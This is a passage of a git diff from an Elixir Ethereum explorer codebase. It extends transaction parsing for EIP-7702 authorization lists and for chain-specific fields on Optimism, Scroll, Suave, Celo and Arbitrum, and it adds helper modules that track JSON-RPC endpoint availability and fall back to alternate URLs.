EthereumJSONRPC.Transaction do * `"maxPriorityFeePerGas"` - `t:EthereumJSONRPC.quantity/0` of wei to denote max priority fee per unit of gas used. Introduced in [EIP-1559](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1559.md) * `"maxFeePerGas"` - `t:EthereumJSONRPC.quantity/0` of wei to denote max fee per unit of gas used. Introduced in [EIP-1559](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1559.md) * `"type"` - `t:EthereumJSONRPC.quantity/0` denotes transaction type. Introduced in [EIP-1559](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1559.md) + * `"authorizationList"` - `t:list/0` of `t:EthereumJSONRPC.SignedAuthorization.t/0` authorization tuples. Introduced in [EIP-7702](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-7702.md) + #{case @chain_type do + :ethereum -> """ + * `"maxFeePerBlobGas"` - `t:EthereumJSONRPC.quantity/0` of wei to denote max fee per unit of blob gas used. Introduced in [EIP-4844](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-4844.md) + * `"blobVersionedHashes"` - `t:list/0` of `t:EthereumJSONRPC.hash/0` of included data blobs hashes. Introduced in [EIP-4844](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-4844.md) + """ + :optimism -> """ + * `"l1TxOrigin"` - . + * `"l1BlockNumber"` - . + """ + :scroll -> """ + * `"queueIndex"` - An index of L1MessageTx (replaces Nonce) in Scroll rollup. + """ + :suave -> """ + * `"executionNode"` - `t:EthereumJSONRPC.address/0` of execution node (used by Suave). + * `"requestRecord"` - map of wrapped transaction data (used by Suave). + """ + :celo -> """ + * `"feeCurrency"` - `t:EthereumJSONRPC.address/0` of the currency used to pay for gas. + * `"gatewayFee"` - `t:EthereumJSONRPC.quantity/0` of the gateway fee. + * `"gatewayFeeRecipient"` - `t:EthereumJSONRPC.address/0` of the gateway fee recipient. + """ + _ -> "" + end} """ @type t :: %{ String.t() => - EthereumJSONRPC.address() | EthereumJSONRPC.hash() | EthereumJSONRPC.quantity() | String.t() | nil + EthereumJSONRPC.address() + | EthereumJSONRPC.hash() + | EthereumJSONRPC.quantity() + | String.t() + | [SignedAuthorization.t()] + | nil } @type params :: %{ + unquote_splicing(@chain_type_fields), block_hash: EthereumJSONRPC.hash(), block_number: non_neg_integer(), from_address_hash: EthereumJSONRPC.address(), @@ -68,11 +177,12 @@ defmodule EthereumJSONRPC.Transaction do transaction_index: non_neg_integer(), max_priority_fee_per_gas: non_neg_integer(), max_fee_per_gas: non_neg_integer(), - type: non_neg_integer() + type: non_neg_integer(), + authorization_list: [SignedAuthorization.params()] } @doc """ - Geth `elixir` can be converted to `params`. Geth does not supply `"publicKey"` or `"standardV"`, unlike Parity. + Geth `elixir` can be converted to `params`. Geth does not supply `"publicKey"` or `"standardV"`, unlike Nethermind. iex> EthereumJSONRPC.Transaction.elixir_to_params( ...> %{ @@ -88,6 +198,7 @@ defmodule EthereumJSONRPC.Transaction do ...> "s" => 31606574786494953692291101914709926755545765281581808821704454381804773090106, ...> "to" => "0x5df9b87991262f6ba471f09758cde1c0fc1de734", ...> "transactionIndex" => 0, + ...> "type" => 2, ...> "v" => 28, ...> "value" => 31337 ...> } @@ -105,11 +216,49 @@ defmodule EthereumJSONRPC.Transaction do r: 61965845294689009770156372156374760022787886965323743865986648153755601564112, s: 31606574786494953692291101914709926755545765281581808821704454381804773090106, to_address_hash: "0x5df9b87991262f6ba471f09758cde1c0fc1de734", + type: 2, v: 28, value: 31337, transaction_index: 0 } + iex> EthereumJSONRPC.Transaction.elixir_to_params( + ...> %{ + ...> "blockHash" => "0x4e3a3754410177e6937ef1f84bba68ea139e8d1a2258c5f85db9f1cd715a1bdd", + ...> "blockNumber" => 46147, + ...> "from" => "0xa1e4380a3b1f749673e270229993ee55f35663b4", + ...> "gas" => 21000, + ...> "hash" => "0x5c504ed432cb51138bcf09aa5e8a410dd4a1e204ef84bfed1be16dfba1b22060", + ...> "input" => "0x", + ...> "nonce" => 0, + ...> "r" => 61965845294689009770156372156374760022787886965323743865986648153755601564112, + ...> "s" => 31606574786494953692291101914709926755545765281581808821704454381804773090106, + ...> "to" => "0x5df9b87991262f6ba471f09758cde1c0fc1de734", + ...> "transactionIndex" => 0, + ...> "type" => 2, + ...> "v" => 28, + ...> "value" => 31337 + ...> } + ...> ) + %{ + block_hash: "0x4e3a3754410177e6937ef1f84bba68ea139e8d1a2258c5f85db9f1cd715a1bdd", + block_number: 46147, + from_address_hash: "0xa1e4380a3b1f749673e270229993ee55f35663b4", + gas: 21000, + hash: "0x5c504ed432cb51138bcf09aa5e8a410dd4a1e204ef84bfed1be16dfba1b22060", + index: 0, + input: "0x", + nonce: 0, + r: 61965845294689009770156372156374760022787886965323743865986648153755601564112, + s: 31606574786494953692291101914709926755545765281581808821704454381804773090106, + to_address_hash: "0x5df9b87991262f6ba471f09758cde1c0fc1de734", + type: 2, + v: 28, + value: 31337, + transaction_index: 0, + gas_price: 0 + } + Erigon `elixir` from txpool_content method can be converted to `params`. iex> EthereumJSONRPC.Transaction.elixir_to_params( @@ -135,6 +284,7 @@ defmodule EthereumJSONRPC.Transaction do %{ block_hash: nil, block_number: nil, + gas_price: nil, from_address_hash: "0x870006d72c247bc1e90983c71b3234ee01d3c9d9", gas: 182154, hash: "0x8d2cd1fae48ea0d2a20bb74abbfca05c2d805793e1b42fa844bbdd90f2512f39", @@ -153,28 +303,37 @@ defmodule EthereumJSONRPC.Transaction do } """ @spec elixir_to_params(elixir) :: params + def elixir_to_params(elixir) do + elixir + |> do_elixir_to_params() + |> chain_type_fields(elixir) + end - def elixir_to_params( - %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "from" => from_address_hash, - "gas" => gas, - "gasPrice" => gas_price, - "hash" => hash, - "input" => input, - "nonce" => nonce, - "r" => r, - "s" => s, - "to" => to_address_hash, - "transactionIndex" => index, - "v" => v, - "value" => value, - "type" => type, - "maxPriorityFeePerGas" => max_priority_fee_per_gas, - "maxFeePerGas" => max_fee_per_gas - } = transaction - ) do + # Converts a map of the transaction parameters to the map with the corresponding atom parameters. + # + # ## Parameters + # - `transaction`: The input map. + # + # ## Returns + # - The resulting map. + @spec do_elixir_to_params(%{String.t() => any()}) :: %{atom() => any()} + defp do_elixir_to_params( + %{ + "blockHash" => block_hash, + "blockNumber" => block_number, + "from" => from_address_hash, + "gas" => gas, + "gasPrice" => gas_price, + "hash" => hash, + "input" => input, + "nonce" => nonce, + "transactionIndex" => index, + "value" => value, + "type" => type, + "maxPriorityFeePerGas" => max_priority_fee_per_gas, + "maxFeePerGas" => max_fee_per_gas + } = transaction + ) do result = %{ block_hash: block_hash, block_number: block_number, @@ -185,10 +344,7 @@ defmodule EthereumJSONRPC.Transaction do index: index, input: input, nonce: nonce, - r: r, - s: s, - to_address_hash: to_address_hash, - v: v, + to_address_hash: Map.get(transaction, "to"), value: value, transaction_index: index, type: type, @@ -196,48 +352,45 @@ defmodule EthereumJSONRPC.Transaction do max_fee_per_gas: max_fee_per_gas } - if transaction["creates"] do - Map.put(result, :created_contract_address_hash, transaction["creates"]) - else - result - end + put_if_present(result, transaction, [ + {"creates", :created_contract_address_hash}, + {"block_timestamp", :block_timestamp}, + {"r", :r}, + {"s", :s}, + {"v", :v, %{default: 0}}, + {"authorizationList", :authorization_list} + ]) end - # txpool_content method on Erigon node returns tx data + # txpool_content method on Erigon node returns transaction data # without gas price - def elixir_to_params( - %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "from" => from_address_hash, - "gas" => gas, - "hash" => hash, - "input" => input, - "nonce" => nonce, - "r" => r, - "s" => s, - "to" => to_address_hash, - "transactionIndex" => index, - "v" => v, - "value" => value, - "type" => type, - "maxPriorityFeePerGas" => max_priority_fee_per_gas, - "maxFeePerGas" => max_fee_per_gas - } = transaction - ) do + defp do_elixir_to_params( + %{ + "blockHash" => block_hash, + "blockNumber" => block_number, + "from" => from_address_hash, + "gas" => gas, + "hash" => hash, + "input" => input, + "nonce" => nonce, + "transactionIndex" => index, + "value" => value, + "type" => type, + "maxPriorityFeePerGas" => max_priority_fee_per_gas, + "maxFeePerGas" => max_fee_per_gas + } = transaction + ) do result = %{ block_hash: block_hash, block_number: block_number, from_address_hash: from_address_hash, gas: gas, + gas_price: nil, hash: hash, index: index, input: input, nonce: nonce, - r: r, - s: s, - to_address_hash: to_address_hash, - v: v, + to_address_hash: Map.get(transaction, "to"), value: value, transaction_index: index, type: type, @@ -245,32 +398,32 @@ defmodule EthereumJSONRPC.Transaction do max_fee_per_gas: max_fee_per_gas } - if transaction["creates"] do - Map.put(result, :created_contract_address_hash, transaction["creates"]) - else - result - end + put_if_present(result, transaction, [ + {"creates", :created_contract_address_hash}, + {"block_timestamp", :block_timestamp}, + {"r", :r}, + {"s", :s}, + {"v", :v, %{default: 0}}, + {"authorizationList", :authorization_list} + ]) end - def elixir_to_params( - %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "from" => from_address_hash, - "gas" => gas, - "gasPrice" => gas_price, - "hash" => hash, - "input" => input, - "nonce" => nonce, - "r" => r, - "s" => s, - "to" => to_address_hash, - "transactionIndex" => index, - "v" => v, - "value" => value, - "type" => type - } = transaction - ) do + # for legacy transactions without maxPriorityFeePerGas and maxFeePerGas + defp do_elixir_to_params( + %{ + "blockHash" => block_hash, + "blockNumber" => block_number, + "from" => from_address_hash, + "gas" => gas, + "gasPrice" => gas_price, + "hash" => hash, + "input" => input, + "nonce" => nonce, + "transactionIndex" => index, + "value" => value, + "type" => type + } = transaction + ) do result = %{ block_hash: block_hash, block_number: block_number, @@ -281,40 +434,36 @@ defmodule EthereumJSONRPC.Transaction do index: index, input: input, nonce: nonce, - r: r, - s: s, - to_address_hash: to_address_hash, - v: v, + to_address_hash: Map.get(transaction, "to"), value: value, transaction_index: index, type: type } - if transaction["creates"] do - Map.put(result, :created_contract_address_hash, transaction["creates"]) - else - result - end + put_if_present(result, transaction, [ + {"creates", :created_contract_address_hash}, + {"block_timestamp", :block_timestamp}, + {"r", :r}, + {"s", :s}, + {"v", :v, %{default: 0}} + ]) end - def elixir_to_params( - %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "from" => from_address_hash, - "gas" => gas, - "gasPrice" => gas_price, - "hash" => hash, - "input" => input, - "nonce" => nonce, - "r" => r, - "s" => s, - "to" => to_address_hash, - "transactionIndex" => index, - "v" => v, - "value" => value - } = transaction - ) do + # for legacy transactions without type, maxPriorityFeePerGas and maxFeePerGas + defp do_elixir_to_params( + %{ + "blockHash" => block_hash, + "blockNumber" => block_number, + "from" => from_address_hash, + "gas" => gas, + "gasPrice" => gas_price, + "hash" => hash, + "input" => input, + "nonce" => nonce, + "transactionIndex" => index, + "value" => value + } = transaction + ) do result = %{ block_hash: block_hash, block_number: block_number, @@ -325,18 +474,120 @@ defmodule EthereumJSONRPC.Transaction do index: index, input: input, nonce: nonce, - r: r, - s: s, - to_address_hash: to_address_hash, - v: v, + to_address_hash: Map.get(transaction, "to"), value: value, transaction_index: index } - if transaction["creates"] do - Map.put(result, :created_contract_address_hash, transaction["creates"]) - else - result + put_if_present(result, transaction, [ + {"creates", :created_contract_address_hash}, + {"block_timestamp", :block_timestamp}, + {"r", :r}, + {"s", :s}, + {"v", :v, %{default: 0}} + ]) + end + + # for transactions without gasPrice, maxPriorityFeePerGas and maxFeePerGas + defp do_elixir_to_params( + %{ + "blockHash" => block_hash, + "blockNumber" => block_number, + "from" => from_address_hash, + "gas" => gas, + "hash" => hash, + "input" => input, + "nonce" => nonce, + "transactionIndex" => index, + "type" => type, + "value" => value + } = transaction + ) do + result = %{ + block_hash: block_hash, + block_number: block_number, + from_address_hash: from_address_hash, + gas: gas, + gas_price: 0, + hash: hash, + index: index, + input: input, + nonce: nonce, + to_address_hash: Map.get(transaction, "to"), + value: value, + transaction_index: index, + type: type + } + + put_if_present(result, transaction, [ + {"creates", :created_contract_address_hash}, + {"block_timestamp", :block_timestamp}, + {"r", :r}, + {"s", :s}, + {"v", :v, %{default: 0}} + ]) + end + + defp chain_type_fields(params, elixir) do + case Application.get_env(:explorer, :chain_type) do + :ethereum -> + put_if_present(params, elixir, [ + {"blobVersionedHashes", :blob_versioned_hashes}, + {"maxFeePerBlobGas", :max_fee_per_blob_gas} + ]) + + :optimism -> + # we need to put blobVersionedHashes for Indexer.Fetcher.Optimism.TransactionBatch module + put_if_present(params, elixir, [ + {"l1TxOrigin", :l1_transaction_origin}, + {"l1BlockNumber", :l1_block_number}, + {"blobVersionedHashes", :blob_versioned_hashes} + ]) + + :scroll -> + put_if_present(params, elixir, [ + {"queueIndex", :queue_index} + ]) + + :suave -> + wrapped = Map.get(elixir, "requestRecord") + + if is_nil(wrapped) do + params + else + params + |> Map.merge(%{ + execution_node_hash: Map.get(elixir, "executionNode"), + wrapped_type: quantity_to_integer(Map.get(wrapped, "type")), + wrapped_nonce: quantity_to_integer(Map.get(wrapped, "nonce")), + wrapped_to_address_hash: Map.get(wrapped, "to"), + wrapped_gas: quantity_to_integer(Map.get(wrapped, "gas")), + wrapped_gas_price: quantity_to_integer(Map.get(wrapped, "gasPrice")), + wrapped_max_priority_fee_per_gas: quantity_to_integer(Map.get(wrapped, "maxPriorityFeePerGas")), + wrapped_max_fee_per_gas: quantity_to_integer(Map.get(wrapped, "maxFeePerGas")), + wrapped_value: quantity_to_integer(Map.get(wrapped, "value")), + wrapped_input: Map.get(wrapped, "input"), + wrapped_v: quantity_to_integer(Map.get(wrapped, "v")), + wrapped_r: quantity_to_integer(Map.get(wrapped, "r")), + wrapped_s: quantity_to_integer(Map.get(wrapped, "s")), + wrapped_hash: Map.get(wrapped, "hash") + }) + end + + :celo -> + put_if_present(params, elixir, [ + {"feeCurrency", :gas_token_contract_address_hash}, + {"gatewayFee", :gateway_fee}, + {"gatewayFeeRecipient", :gas_fee_recipient_address_hash} + ]) + + :arbitrum -> + put_if_present(params, elixir, [ + {"requestId", :request_id} + ]) + + _ -> + params end end @@ -418,13 +669,14 @@ defmodule EthereumJSONRPC.Transaction do } """ - def to_elixir(transaction) when is_map(transaction) do - Enum.into(transaction, %{}, &entry_to_elixir/1) - end + def to_elixir(transaction, block_timestamp \\ nil) - def to_elixir(transaction) when is_binary(transaction) do - # Logger.warn(["Fetched transaction is not full: ", transaction]) + def to_elixir(transaction, block_timestamp) when is_map(transaction) do + initial = (block_timestamp && %{"block_timestamp" => block_timestamp}) || %{} + Enum.into(transaction, initial, &entry_to_elixir/1) + end + def to_elixir(transaction, _block_timestamp) when is_binary(transaction) do nil end @@ -448,7 +700,7 @@ defmodule EthereumJSONRPC.Transaction do # # "txType": to avoid FunctionClauseError when indexing Wanchain defp entry_to_elixir({key, value}) - when key in ~w(blockHash condition creates from hash input jsonrpc publicKey raw to txType), + when key in ~w(blockHash condition creates from hash input jsonrpc publicKey raw to txType executionNode requestRecord blobVersionedHashes requestId), do: {key, value} # specific to Nethermind client @@ -456,7 +708,7 @@ defmodule EthereumJSONRPC.Transaction do do: {"input", value} defp entry_to_elixir({key, quantity}) - when key in ~w(gas gasPrice nonce r s standardV v value type maxPriorityFeePerGas maxFeePerGas) and + when key in ~w(gas gasPrice nonce r s standardV v value type maxPriorityFeePerGas maxFeePerGas maxFeePerBlobGas queueIndex) and quantity != nil do {key, quantity_to_integer(quantity)} end @@ -467,7 +719,8 @@ defmodule EthereumJSONRPC.Transaction do end # quantity or nil for pending - defp entry_to_elixir({key, quantity_or_nil}) when key in ~w(blockNumber transactionIndex) do + defp entry_to_elixir({key, quantity_or_nil}) + when key in ~w(blockNumber transactionIndex l1TxOrigin l1BlockNumber) do elixir = case quantity_or_nil do nil -> nil @@ -485,7 +738,20 @@ defmodule EthereumJSONRPC.Transaction do end end + defp entry_to_elixir({"authorizationList" = key, value}), + do: {key, value |> Enum.map(&SignedAuthorization.to_params/1)} + + # Celo-specific fields + if @chain_type == :celo do + defp entry_to_elixir({key, value}) + when key in ~w(feeCurrency gatewayFeeRecipient), + do: {key, value} + + defp entry_to_elixir({"gatewayFee" = key, quantity_or_nil}), + do: {key, quantity_or_nil && quantity_to_integer(quantity_or_nil)} + end + defp entry_to_elixir(_) do - {nil, nil} + {:ignore, :ignore} end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transactions.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transactions.ex index 9b3937873932..702786bae824 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transactions.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transactions.ex @@ -1,8 +1,8 @@ defmodule EthereumJSONRPC.Transactions do @moduledoc """ List of transactions format as included in return from - [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbyhash) and - [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getblockbynumber). + [`eth_getBlockByHash`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbyhash) and + [`eth_getBlockByNumber`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_getblockbynumber). """ alias EthereumJSONRPC.Transaction @@ -151,9 +151,9 @@ defmodule EthereumJSONRPC.Transactions do ] """ - def to_elixir(transactions) when is_list(transactions) do + def to_elixir(transactions, block_timestamp \\ nil) when is_list(transactions) do transactions - |> Enum.map(&Transaction.to_elixir/1) + |> Enum.map(&Transaction.to_elixir(&1, block_timestamp)) |> Enum.filter(&(!is_nil(&1))) end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transport.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transport.ex index dc7f1839a6b7..829f5816d3f8 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transport.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/transport.ex @@ -84,7 +84,7 @@ defmodule EthereumJSONRPC.Transport do * `{:ok, result}` - `result` is the `/result` from JSONRPC response object of format `%{"id" => ..., "result" => result}`. - * `{:error, reason}` - `reason` is the the `/error` from JSONRPC response object of format + * `{:error, reason}` - `reason` is the `/error` from JSONRPC response object of format `%{"id" => ..., "error" => reason}`. The transport can also give any `term()` for `reason` if a more specific reason is possible. diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/uncle.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/uncle.ex index fb0a6a397e53..b9cd6e58d126 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/uncle.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/uncle.ex @@ -1,6 +1,6 @@ defmodule EthereumJSONRPC.Uncle do @moduledoc """ - [Uncle](https://github.com/ethereum/wiki/wiki/Glossary#ethereum-blockchain). + [Uncle](https://ethereum.org/en/glossary). An uncle is a block that didn't make the main chain due to them being validated slightly behind what became the main chain. diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/uncles.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/uncles.ex index 817474faf91e..fe36b7aa33c1 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/uncles.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/uncles.ex @@ -1,6 +1,6 @@ defmodule EthereumJSONRPC.Uncles do @moduledoc """ - List of [uncles](https://github.com/ethereum/wiki/wiki/Glossary#ethereum-blockchain). Uncles are blocks that didn't + List of [uncles](https://ethereum.org/en/glossary). Uncles are blocks that didn't make the main chain due to them being validated slightly behind what became the main chain. """ diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/common_helper.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/common_helper.ex new file mode 100644 index 000000000000..d6bca798daad --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/common_helper.ex @@ -0,0 +1,72 @@ +defmodule EthereumJSONRPC.Utility.CommonHelper do + @moduledoc """ + Common helper functions + """ + + alias EthereumJSONRPC.Utility.EndpointAvailabilityObserver + + # converts duration like "5s", "2m", "1h5m" to milliseconds + @duration_regex ~r/(\d+)([smhSMH]?)/ + def parse_duration(duration) do + case Regex.scan(@duration_regex, duration) do + [] -> + {:error, :invalid_format} + + parts -> + Enum.reduce(parts, 0, fn [_, number, granularity], acc -> + acc + convert_to_ms(String.to_integer(number), String.downcase(granularity)) + end) + end + end + + @doc """ + Puts value under nested key in keyword. + Similar to `Kernel.put_in/3` but inserts values in the middle if they're missing + """ + @spec put_in_keyword_nested(Keyword.t(), [atom()], any()) :: Keyword.t() + def put_in_keyword_nested(keyword, [last_path], value) do + Keyword.put(keyword || [], last_path, value) + end + + def put_in_keyword_nested(keyword, [nearest_path | rest_path], value) do + Keyword.put(keyword || [], nearest_path, put_in_keyword_nested(keyword[nearest_path], rest_path, value)) + end + + @doc """ + Get available json rpc url from `json_rpc_transport_options` (or global `json_rpc_named_arguments`) of `url_type` type + based on `EthereumJSONRPC.Utility.EndpointAvailabilityObserver`. + """ + @spec get_available_url(Keyword.t() | nil, atom()) :: String.t() | nil + def get_available_url(json_rpc_transport_options \\ nil, url_type \\ :http) do + transport_options = + json_rpc_transport_options || Application.get_env(:explorer, :json_rpc_named_arguments)[:transport_options] + + fallback_urls = url_type_to_urls(url_type, transport_options, :fallback) + + url_type + |> url_type_to_urls(transport_options) + |> EndpointAvailabilityObserver.maybe_replace_urls(fallback_urls, url_type) + |> select_single_url() + end + + @doc """ + Extracts urls corresponding to `url_type` from json rpc transport options + """ + @spec url_type_to_urls(atom(), Keyword.t(), atom() | String.t()) :: [String.t()] + def url_type_to_urls(url_type, json_rpc_transport_options, subtype \\ nil) do + key_prefix = (subtype && "#{subtype}_") || "" + url_prefix = (url_type == :http && "") || "#{url_type}_" + urls_key = String.to_existing_atom("#{key_prefix}#{url_prefix}urls") + json_rpc_transport_options[urls_key] + end + + defp select_single_url([]), do: nil + + defp select_single_url(urls) do + Enum.random(urls) + end + + defp convert_to_ms(number, "s"), do: :timer.seconds(number) + defp convert_to_ms(number, "m"), do: :timer.minutes(number) + defp convert_to_ms(number, "h"), do: :timer.hours(number) +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/endpoint_availability_checker.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/endpoint_availability_checker.ex new file mode 100644 index 000000000000..36e6632b8210 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/endpoint_availability_checker.ex @@ -0,0 +1,161 @@ +defmodule EthereumJSONRPC.Utility.EndpointAvailabilityChecker do + @moduledoc """ + Monitors and verifies the availability of Ethereum JSON-RPC endpoints. + + This GenServer-based module performs periodic checks on endpoints that have been marked + as unavailable, attempting to re-enable them when they become responsive again. + + ## State Structure + + The GenServer maintains state with the following structure: + + %{ + unavailable_endpoints_arguments: [ + {json_rpc_named_arguments, url_type}, + ... + ] + } + + where: + - `unavailable_endpoints_arguments`: List of tuples containing endpoint configurations + and their types that are currently marked as unavailable + - `json_rpc_named_arguments`: JSON-RPC configuration for the endpoint + - `url_type`: Type of the endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + + ## Usage + + This module is designed to work in conjunction with `EthereumJSONRPC.Utility.EndpointAvailabilityObserver`. + When an endpoint exceeds its error threshold in the observer, it is automatically added here for monitoring: + + # In EndpointAvailabilityObserver, when errors exceed threshold: + json_rpc_config = [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + urls: ["http://localhost:8545"] + ] + ] + EndpointAvailabilityChecker.add_endpoint(json_rpc_config, :http) + + ## State Changes + + The state changes in the following scenarios: + + 1. When an endpoint is added via `add_endpoint/2`: + - The endpoint is added to `unavailable_endpoints_arguments` + + 2. During periodic checks: + - Successfully checked endpoints are removed from `unavailable_endpoints_arguments` + - Failed endpoints remain in the list for the next check + """ + + use GenServer + + require Logger + + alias EthereumJSONRPC.Utility.EndpointAvailabilityObserver + + @check_interval :timer.seconds(1) + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def init(_) do + if Application.get_env(:ethereum_jsonrpc, __MODULE__)[:enabled] do + schedule_next_check() + + {:ok, %{unavailable_endpoints_arguments: []}} + else + :ignore + end + end + + @doc """ + Adds an endpoint to be monitored for availability. + + ## Parameters + - `json_rpc_named_arguments`: JSON-RPC configuration for the endpoint + - `url_type`: Type of the endpoint (`:ws`, `:trace`, `:http`, or `:eth_call`) + + ## Returns + - `:ok` + """ + @spec add_endpoint(EthereumJSONRPC.json_rpc_named_arguments(), :ws | :trace | :http | :eth_call) :: :ok + def add_endpoint(json_rpc_named_arguments, url_type) do + GenServer.cast(__MODULE__, {:add_endpoint, json_rpc_named_arguments, url_type}) + end + + # Handles asynchronous request to add an endpoint for availability monitoring. + # + # Adds the endpoint's configuration and type to the list of unavailable + # endpoints in the state. + # + # ## Parameters + # - `named_arguments`: JSON-RPC configuration for the endpoint + # - `url_type`: Type of the endpoint + # - `state`: Current GenServer state + # + # ## Returns + # - `{:noreply, new_state}` with updated list of unavailable endpoints + def handle_cast({:add_endpoint, named_arguments, url_type}, %{unavailable_endpoints_arguments: unavailable} = state) do + {:noreply, %{state | unavailable_endpoints_arguments: [{named_arguments, url_type} | unavailable]}} + end + + # Handles periodic endpoint availability check. + # + # Attempts to fetch the latest block number from each unavailable endpoint. + # If successful, enables the endpoint via `EthereumJSONRPC.Utility.EndpointAvailabilityObserver`. + # If unsuccessful, keeps the endpoint in the unavailable list. + # + # ## Parameters + # - `state`: Current GenServer state with list of unavailable endpoints + # + # ## Returns + # - `{:noreply, new_state}` with updated list of unavailable endpoints + def handle_info(:check, %{unavailable_endpoints_arguments: unavailable_endpoints_arguments} = state) do + new_unavailable_endpoints = + Enum.reduce(unavailable_endpoints_arguments, [], fn {json_rpc_named_arguments, url_type}, acc -> + case fetch_latest_block_number(json_rpc_named_arguments) do + {:ok, _number} -> + [url] = json_rpc_named_arguments[:transport_options][:urls] + + EndpointAvailabilityObserver.enable_endpoint(url, url_type, json_rpc_named_arguments) + acc + + _ -> + [{json_rpc_named_arguments, url_type} | acc] + end + end) + + schedule_next_check() + + {:noreply, %{state | unavailable_endpoints_arguments: new_unavailable_endpoints}} + end + + @doc """ + Retrieves the latest block number from an Ethereum node to check endpoint availability. + + Removes fallback URLs from the arguments to ensure checking only the primary endpoint. + + ## Parameters + - `json_rpc_named_arguments`: JSON-RPC configuration for the endpoint + + ## Returns + - `{:ok, number}` if the endpoint is available + - `{:error, reason}` if the endpoint is unavailable + """ + @spec fetch_latest_block_number(EthereumJSONRPC.json_rpc_named_arguments()) :: + {:ok, EthereumJSONRPC.Transport.result()} | {:error, reason :: term()} + def fetch_latest_block_number(json_rpc_named_arguments) do + {_, arguments_without_fallback} = pop_in(json_rpc_named_arguments, [:transport_options, :fallback_urls]) + + %{id: 0, method: "eth_blockNumber", params: []} + |> EthereumJSONRPC.request() + |> EthereumJSONRPC.json_rpc(arguments_without_fallback) + end + + @spec schedule_next_check() :: reference() + defp schedule_next_check do + Process.send_after(self(), :check, @check_interval) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/endpoint_availability_observer.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/endpoint_availability_observer.ex new file mode 100644 index 000000000000..9b10a5d0ea4b --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/utility/endpoint_availability_observer.ex @@ -0,0 +1,502 @@ +defmodule EthereumJSONRPC.Utility.EndpointAvailabilityObserver do + @moduledoc """ + Monitors and manages the availability of JSON-RPC endpoints. + + This module maintains the health status of various endpoint types (WebSocket, HTTP, + trace, eth_call) by tracking error occurrences and managing endpoint availability. + It can be used in the scenarios where automatic fallback to alternative URLs is needed + when primary endpoints become unavailable. + + ## State Structure + + The GenServer maintains two main state components: + - `error_counts`: Maps endpoint URLs to their error counts by type + + %{ + "url" => %{ + url_type => %{count: integer(), last_occasion: timestamp} + } + } + + - `unavailable_endpoints`: Groups unavailable URLs by their type + + %{ + ws: [String.t()], + trace: [String.t()], + http: [String.t()], + eth_call: [String.t()] + } + + ## Usage Scenarios + + ### Error Tracking and Availability Management + + # Track errors for an endpoint + EndpointAvailabilityObserver.inc_error_count(url, json_rpc_args, :http) + # After reaching maximum error threshold, endpoint becomes unavailable + # Monitoring starts via EndpointAvailabilityChecker + + ### Fallback URL Management + + # Replace single unavailable URL + available_url = EndpointAvailabilityObserver.maybe_replace_url( + primary_url, + fallback_url, + :http + ) + + # Replace list of unavailable URLs + available_urls = EndpointAvailabilityObserver.maybe_replace_urls( + primary_urls, + fallback_urls, + :http + ) + + ### Recovery Handling + When an unavailable endpoint recovers: + 1. `EthereumJSONRPC.Utility.EndpointAvailabilityChecker` detects successful connection + 2. Calls `enable_endpoint/3` to mark the endpoint as available + 3. Endpoint returns to the available pool + 4. Logging indicates availability status change + + The module automatically cleans up error records for URLs, maintaining only URLs + for which errors occurred within the specified window. + """ + + use GenServer + + require Logger + + alias EthereumJSONRPC.Utility.{CommonHelper, EndpointAvailabilityChecker} + + @max_error_count 3 + @window_duration 3 + @cleaning_interval :timer.seconds(1) + + @type url_type :: :ws | :trace | :http | :eth_call + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def init(_) do + schedule_next_cleaning() + + {:ok, %{error_counts: %{}, unavailable_endpoints: %{ws: [], trace: [], http: [], eth_call: []}}} + end + + @doc """ + Increments the error count for an endpoint URL and marks it as unavailable if the + error threshold is exceeded. + + ## Parameters + - `url`: The endpoint 